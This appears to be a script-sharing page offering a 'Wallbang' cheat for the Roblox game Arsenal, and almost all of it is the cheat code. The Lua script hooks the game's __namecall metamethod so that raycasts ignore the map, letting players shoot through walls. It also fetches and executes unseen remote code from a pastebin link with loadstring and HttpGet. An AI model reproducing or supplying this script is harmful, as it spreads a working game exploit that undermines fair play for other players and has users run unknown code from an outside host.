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Wallbang

Script
ArsenalFinny
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Added
Script
-- UNPATCHED

getgenv().Wallbang = true

local mt = getrawmetatable(game)
local namecallold = mt.__namecall
setreadonly(mt, false)
mt.__namecall = newcclosure(function(self, ...)
    local Args = {...}
    NamecallMethod = getnamecallmethod()
    if getgenv().Wallbang and tostring(NamecallMethod) == "FindPartOnRayWithIgnoreList" then
        table.insert(Args[2], workspace.Map)
    end
    return namecallold(self, ...)
end)
loadstring(game:HttpGet("https://pastebin.com/raw/F3j9qi5h", true))()
setreadonly(mt, true)

Features

  • You can shoot through walls u know da credits